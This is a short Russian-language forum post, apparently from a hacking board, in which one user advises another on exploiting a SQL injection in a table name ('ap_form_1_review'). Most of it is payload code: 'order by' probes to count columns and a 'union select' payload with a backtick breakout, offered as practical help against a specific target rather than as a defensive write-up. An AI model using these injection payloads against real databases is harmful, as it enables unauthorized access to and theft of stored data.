16.07.2013, 09:01
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от BigBear
Хм, интересный случай... А если ввести так...
Код:
Сначала поищем количество полей в таблице
ap_form_1_review
id=1` order by 1 --
id=1` order by 100 --
id=1` union select 1,2,3,4,5 --
Так же не будет работать, если правильную таблицу указать, например:
Код:
id=1_review` SQL -- 1
Voinmraka, у вас же инъекция в имени таблицы...
|
|
|